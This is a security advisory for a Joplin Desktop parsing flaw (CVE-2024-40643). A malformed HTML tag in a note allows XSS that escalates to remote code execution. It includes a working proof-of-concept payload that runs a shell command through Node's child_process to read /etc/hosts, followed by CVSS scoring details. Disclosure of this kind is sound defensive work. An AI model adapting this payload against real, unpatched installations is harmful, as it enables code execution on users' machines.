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Parsing error leading to XSS

High
laurent22 published GHSA-g796-3g6g-jmmc Sep 6, 2024

Package

Joplin for Desktop

Affected versions

3.0.13

Patched versions

3.0.15

Description

Summary

There is a parsing error that allows for arbitrary tag injection which leads to RCE.

Details

Joplin fails to take into account that "<" followed by a non letter character will not be considered html.
As such it is possible to do an XSS by putting an "illegal" tag within a tag.

PoC

Paste this into any notes, the POC will read the /etc/hosts file.
<div>
<.a<iframe src=javascript:try{top.alert(parent.parent.require('child_process').execSync('echo\x20$(cat\x20/etc/hosts)'))}catch(e){top.alert(e)} >

Impact

This leads to RCE

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

CVE ID

CVE-2024-40643

Weaknesses

No CWEs

Credits